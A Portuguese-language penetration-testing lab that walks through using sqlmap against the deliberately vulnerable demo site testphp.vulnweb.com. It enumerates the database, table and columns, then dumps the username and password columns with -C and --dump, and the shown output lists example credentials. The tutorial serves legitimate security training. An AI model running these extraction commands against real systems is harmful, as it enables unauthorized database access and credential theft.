Introdução
Neste laboratório, você aprenderá a usar o sqlmap, uma ferramenta de teste de penetração de código aberto, para automatizar o processo de detecção e exploração de falhas de injeção de SQL e a assumir o controle de servidores de banco de dados. Especificamente, focaremos em como extrair dados de colunas específicas dentro de uma tabela conhecida. Esta é uma tarefa comum em testes de penetração e auditorias de segurança, permitindo que você extraia apenas as informações relevantes de que precisa, em vez de extrair uma tabela inteira. Você praticará a identificação do banco de dados, tabela e colunas de destino, e então usará o flag -C do sqlmap para especificar as colunas desejadas para extração de dados.
Identificar o Banco de Dados, Tabela e Colunas de Destino
Nesta etapa, você aprenderá a identificar o banco de dados, a tabela e as colunas específicas das quais deseja extrair dados. Antes de poder extrair dados, você precisa saber o que está procurando. Em um cenário do mundo real, essas informações seriam tipicamente coletadas através de etapas de enumeração anteriores usando sqlmap (por exemplo, listando bancos de dados, tabelas e colunas). Para este laboratório, assumiremos que você já identificou o seguinte:
- URL de Destino:
http://testphp.vulnweb.com/listproducts.php?cat=1(uma URL vulnerável conhecida para fins de demonstração) - Banco de Dados:
acuart - Tabela:
users - Colunas de interesse:
uname(nome de usuário) epass(senha)
Esses detalhes são cruciais para construir o comando sqlmap preciso para extrair apenas os dados de que você precisa.
Para simular a enumeração inicial, você pode ter executado comandos como estes (não é necessário executá-los neste laboratório, pois estamos fornecendo os detalhes do destino):
Para listar bancos de dados:
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --dbs
Para listar tabelas no banco de dados acuart:
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart --tables
Para listar colunas na tabela users dentro do banco de dados acuart:
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users --columns
Para este laboratório, prosseguiremos diretamente para a extração de colunas específicas, assumindo que a enumeração acima foi concluída.
Usar o Flag -C para Especificar Colunas para Extração
Nesta etapa, você aprenderá a usar o flag -C no sqlmap para especificar quais colunas você deseja extrair. Este flag é essencial para a extração de dados direcionada, permitindo que você recupere apenas as informações relevantes e evite dados desnecessários.
A sintaxe para usar o flag -C é direta: você fornece uma lista de nomes de colunas separados por vírgula imediatamente após o flag.
Para o nosso exemplo, queremos extrair as colunas uname (nome de usuário) e pass (senha) da tabela users dentro do banco de dados acuart.
O comando parcial do sqlmap incorporando o flag -C ficaria assim:
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users -C "uname,pass"
Vamos detalhar os componentes deste comando:
-u "http://testphp.vulnweb.com/listproducts.php?cat=1": Especifica a URL de destino que é vulnerável à injeção de SQL.-D acuart: Especifica o nome do banco de dados (acuart) do qual extrair dados.-T users: Especifica o nome da tabela (users) dentro do banco de dadosacuart.-C "uname,pass": Esta é a parte crucial. Ela informa aosqlmappara considerar apenas as colunasunameepasspara a extração de dados.
Este fragmento de comando ainda não está completo para a extração de dados, mas demonstra como especificar corretamente as colunas desejadas. Na próxima etapa, adicionaremos o flag --dump para iniciar a extração de dados real.
Usar o Flag --dump para Iniciar a Extração de Dados
Nesta etapa, você aprenderá sobre o flag --dump, que é usado para iniciar o processo real de extração de dados com sqlmap. Enquanto o flag -C especifica quais colunas extrair, o flag --dump diz ao sqlmap para executar a operação de extração de dados.
Quando combinado com a URL de destino, banco de dados, tabela e especificações de coluna, o flag --dump instrui o sqlmap a recuperar os dados das colunas especificadas e salvá-los.
O comando completo do sqlmap para extrair as colunas uname e pass da tabela users no banco de dados acuart seria:
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users -C "uname,pass" --dump
Vamos revisar o comando completo:
-u "http://testphp.vulnweb.com/listproducts.php?cat=1": A URL de destino.-D acuart: O nome do banco de dados.-T users: O nome da tabela.-C "uname,pass": As colunas específicas a serem extraídas.--dump: A ação a ser realizada – extrair os dados.
Este comando instruirá o sqlmap a encontrar vulnerabilidades de injeção de SQL no URL fornecido e, se for bem-sucedido, extrair os dados das colunas uname e pass da tabela users dentro do banco de dados acuart. Os dados extraídos serão tipicamente salvos em um arquivo CSV dentro do diretório de saída do sqlmap.
Executar o Comando de Extração de Dados
Nesta etapa, você executará o comando completo do sqlmap para extrair dados das colunas especificadas. Isso simulará um cenário de extração de dados do mundo real.
Abra seu terminal no diretório ~/project e execute o seguinte comando:
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users -C "uname,pass" --dump
Saída Esperada:
O sqlmap primeiro realizará vários testes para detectar vulnerabilidades de injeção de SQL. Se for bem-sucedido, ele prosseguirá para extrair os dados. Você verá uma saída semelhante a esta (a saída exata pode variar com base na versão do sqlmap e na resposta do alvo):
_
___ ___ ___ ___
|_ -| . | . | . |
|___|_ |_ |_ |
|_| |_| |_| 3.7#dev (r19000)
[!] aviso legal: O uso do sqlmap para atacar alvos sem consentimento mútuo prévio é ilegal. Você é responsável por suas próprias ações.
[!] sqlmap é uma ferramenta apenas para testadores de penetração profissionais.
[INFO] iniciando @ XXXX-XX-XX XX:XX:XX /YYYY-MM-DD HH:MM:SS/
... (várias mensagens de detecção e exploração) ...
[INFO] buscando colunas 'uname,pass' para a tabela 'users' no banco de dados 'acuart'
[INFO] recuperadas 10 entradas
Database: acuart
Table: users
+----------+----------+
| uname | pass |
+----------+----------+
| test | test |
| admin | admin |
| john | doe |
| ... | ... |
+----------+----------+
[INFO] tabela 'acuart.users' extraída para o arquivo CSV '/home/labex/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/users.csv'
[INFO] finalizado @ XXXX-XX-XX XX:XX:XX /YYYY-MM-DD HH:MM:SS/
Preste muita atenção à linha que indica onde os dados foram extraídos (por exemplo, table 'acuart.users' dumped to CSV file '/home/labex/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/users.csv'). Este caminho é importante para a próxima etapa.
Nota: O sqlmap pode fazer algumas perguntas durante o processo (por exemplo, sobre continuar com outros testes, ou se você deseja armazenar sessões). Para este laboratório, você geralmente pode pressionar Enter para aceitar o padrão ou n se ele perguntar para pular testes extensivos.
Localizar e Revisar os Dados Extraídos no Arquivo de Saída CSV
Nesta etapa final, você localizará o arquivo CSV onde o sqlmap salvou os dados extraídos e revisará seu conteúdo. O sqlmap organiza sua saída em um diretório estruturado, tipicamente em ~/.local/share/sqlmap/output/.
Com base na saída da etapa anterior, navegue até o diretório onde o arquivo users.csv foi salvo. O caminho será semelhante a /home/labex/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/.
Primeiro, vamos navegar até o diretório de saída do sqlmap. O caminho exato pode variar ligeiramente com base na sua versão do sqlmap e no alvo, mas geralmente segue o padrão: ~/.local/share/sqlmap/output/<target_domain>/dump/<database_name>/.
Para o nosso exemplo, o caminho é provavelmente /home/labex/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/.
Use o comando ls para listar o conteúdo deste diretório:
ls -l ~/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/
Você deverá ver users.csv (e possivelmente outros arquivos) listados.
Agora, use o comando cat para visualizar o conteúdo do arquivo users.csv:
cat ~/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/users.csv
Saída Esperada:
A saída mostrará as colunas uname e pass, com cada linha representando uma entrada da tabela users.
uname,pass
test,test
admin,admin
john,doe
...
Isso confirma que o sqlmap extraiu com sucesso apenas as colunas especificadas, demonstrando a eficácia do flag -C para extração de dados direcionada.
Resumo
Neste laboratório, você aprendeu com sucesso como extrair dados de colunas de tabelas específicas usando o sqlmap. Você começou entendendo a importância de identificar o banco de dados, a tabela e as colunas alvo. Em seguida, praticou a construção de comandos sqlmap usando o flag -C para especificar as colunas desejadas e o flag --dump para iniciar a extração de dados. Finalmente, você executou o comando e verificou os dados extraídos no arquivo de saída CSV gerado. Essa abordagem direcionada é crucial para a recuperação eficiente e precisa de dados durante testes de penetração e avaliações de segurança.



